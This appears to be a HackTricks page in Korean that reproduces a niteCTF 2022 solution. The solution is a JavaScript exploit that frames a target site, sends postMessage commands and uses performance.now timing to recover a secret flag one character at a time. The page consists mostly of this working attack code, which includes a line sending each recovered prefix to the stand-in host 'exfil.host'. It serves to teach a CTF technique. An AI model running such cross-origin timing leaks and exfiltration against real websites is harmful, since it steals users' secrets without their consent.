performance.now 예제

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기

예제는 https://ctf.zeyu2001.com/2022/nitectf-2022/js-api에서 가져왔습니다.

const sleep = (ms) => new Promise((res) => setTimeout(res, ms))

async function check(flag) {
let w = frame.contentWindow
w.postMessage(
{ op: "preview", payload: '<img name="enable_experimental_features">' },
"*"
)
await sleep(1)
w.postMessage({ op: "search", payload: flag }, "*")
let t1 = performance.now()
await sleep(1)
return performance.now() - t1 > 200
}

async function main() {
let alpha =
"abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}"
window.frame = document.createElement("iframe")
frame.width = "100%"
frame.height = "700px"
frame.src = "https://challenge.jsapi.tech/"
document.body.appendChild(frame)
await sleep(1000)

let flag = "nite{"
while (1) {
for (let c of alpha) {
let result = await Promise.race([
check(flag + c),
new Promise((res) =>
setTimeout(() => {
res(true)
}, 300)
),
])
console.log(flag + c, result)
if (result) {
flag += c
break
}
}
new Image().src = "//exfil.host/log?" + encodeURIComponent(flag)
}
}

document.addEventListener("DOMContentLoaded", main)

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기